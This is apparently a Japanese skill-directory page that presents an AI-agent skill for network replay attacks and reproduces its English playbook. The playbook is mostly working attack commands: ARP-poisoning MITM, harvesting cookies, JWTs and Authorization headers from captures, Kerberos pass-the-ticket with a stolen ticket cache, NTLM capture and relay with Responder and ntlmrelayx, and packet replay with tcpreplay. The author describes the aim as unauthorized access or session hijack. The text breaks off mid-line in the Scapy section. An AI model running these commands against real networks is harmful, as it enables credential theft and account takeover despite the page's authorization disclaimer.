network-replay
できること
このガイドは、捕捉されたネットワークのメッセージを再送して認証をテストする方法を扱います。プロトコルが新しい値を使っているか、セッションが保護されているかを確認するセキュリティチーム向けです。
使う場面
- ✓許可されたテストで通信を捕捉しており、それを再送できるかを確認する必要があるとき。
- ✓チームが、ログインのメッセージにワンタイムの値やタイムスタンプが使われているかを確認したいとき。
- ✓プロトコルが、古いメッセージを新しさの確認なしに受け入れるかもしれないとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“許可されたテストでログインの通信を捕捉しました。サーバーが同じメッセージを再び受け入れるかどうかを確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、捕捉されたメッセージのnonce、タイムスタンプ、セッションの値を調べます。そして、許可された範囲で、サーバーが繰り返しを拒否するかをテストします。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Network Replay Attack Playbook
Authorized use only. Replay attacks require network capture of live traffic which may incidentally capture credentials or PII from non-target systems. RoE must explicitly authorize packet capture on the target subnet and name which protocols and systems are in scope.
Overview
A replay attack reuses previously captured, valid network messages to re-authenticate or re-authorize without knowing the underlying secret. CAI's dedicated replay-attack agent covers this as a distinct offensive primitive. Decepticon routes it here from any engagement where valid traffic has been captured and the auth token / session state is reusable.
Tool inventory
# Verify tools available (standard Kali)
which tcpreplay tcpprep tcprewrite tshark scapy 2>/dev/null
pip show scapy pwntools 2>/dev/null | grep -E 'Name|Version'
Phase 1 — Traffic Capture
Passive capture on a local segment
# Broad capture — filter to target host post-hoc
sudo tcpdump -i <iface> -w /tmp/capture.pcap host <target_ip>
# Targeted: capture only authentication-relevant ports
sudo tcpdump -i <iface> -w /tmp/auth.pcap \
'host <target> and (port 80 or port 443 or port 88 or port 389 or port 1883)'
# If you have a SPAN/mirror port feeding into the attacker NIC:
sudo tcpdump -i <span_iface> -w /tmp/span.pcap -s 0
Capture via MITM (ARP poisoning prerequisite)
# ARP poison victim <-> gateway to intercept traffic
sudo arpspoof -i <iface> -t <victim_ip> <gateway_ip> &
sudo arpspoof -i <iface> -t <gateway_ip> <victim_ip> &
# Enable IP forwarding to stay transparent
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo tcpdump -i <iface> -w /tmp/mitm.pcap host <victim_ip>
Phase 2 — Extract Replayable Material
HTTP session tokens and cookies
tshark -r /tmp/capture.pcap \
-Y 'http.request.method == "POST" || http.cookie' \
-T fields -e frame.number -e ip.src -e http.cookie \
-e http.authorization -e http.file_data 2>/dev/null | head -50
# Extract cookie / Authorization header value for direct reuse
tshark -r /tmp/capture.pcap -Y 'http.cookie' \
-T fields -e http.cookie 2>/dev/null | sort -u
JWT tokens
# JWTs appear in Authorization: Bearer headers or JSON bodies
tshark -r /tmp/capture.pcap \
-Y 'http.authorization contains "Bearer"' \
-T fields -e http.authorization 2>/dev/null | \
grep -oP 'Bearer \K[A-Za-z0-9._-]+'
Decode and inspect without verification (note: this does NOT forge — just inspects claims to understand expiry, role, subject):
import base64, json
token = "<paste_jwt>"
header, payload, sig = token.split('.')
print(json.loads(base64.b64decode(payload + '==').decode()))
Kerberos TGT / TGS ticket replay (Pass-the-Ticket)
# Extract Kerberos AS-REP / TGS-REP from capture
tshark -r /tmp/capture.pcap -Y 'kerberos' \
-T fields -e kerberos.msg_type -e kerberos.CNameString \
-e kerberos.realm 2>/dev/null | head -30
# If you have code execution on a Windows host — dump tickets in memory
# (credential-access domain; use from post-exploit context)
# Rubeus.exe dump /luid:<logon_id> /service:krbtgt /nowrap
# Then inject: Rubeus.exe ptt /ticket:<base64_kirbi>
# Impacket-based PTT (Linux) after extracting .ccache file
export KRB5CCNAME=/tmp/stolen.ccache
python3 /opt/impacket/examples/psexec.py -k -no-pass <target>
NTLM Net-NTLMv2 capture for relay (not crack)
This is the relay path, not hash crack. See ad/ntlm-relay for full relay
playbook. Capture with Responder:
sudo responder -I <iface> -wdF # capture Net-NTLMv2 hashes
# For relay (not crack): pipe directly to ntlmrelayx
sudo ntlmrelayx.py -tf /tmp/relay_targets.txt -smb2support
Phase 3 — Replay Execution
Raw PCAP replay with tcpreplay
# Extract specific frames to replay
tshark -r /tmp/capture.pcap -w /tmp/auth_only.pcap \
-Y 'frame.number >= 150 && frame.number <= 180'
# Replay at original rate to target
sudo tcpreplay --intf1=<iface> --topspeed /tmp/auth_only.pcap
# Replay with destination MAC/IP rewrite (different target host)
tcprewrite --srcipmap=<orig_src>:<new_src> \
--dstipmap=<orig_dst>:<new_dst> \
--enet-dmac=<target_mac> \
--infile=/tmp/auth_only.pcap \
--outfile=/tmp/rewritten.pcap
sudo tcpreplay --intf1=<iface> /tmp/rewritten.pcap
Scapy session token injection
from scapy.all import rdpcap, IP, TCP, Raw, send
pack
よくある質問
リプレイ攻撃とは何ですか?
捕捉された正当なメッセージを再送し、サーバーにもう一度受け入れさせることです。
サーバーはどのように防ぎますか?
ガイドによると、ワンタイムの値、タイムスタンプ、セッションの確認を使って防ぎます。
通信の捕捉には許可が必要ですか?
はい。ガイドでは、パケットの捕捉は対象のサブネットとプロトコルに対して、明示的に許可されている必要があるとしています。
詳細
作者による元の説明
PCAP-based network replay attacks: capture auth sequences, session tokens, and protocol frames, then replay or inject to achieve unauthorized access or session hijack.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14137
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。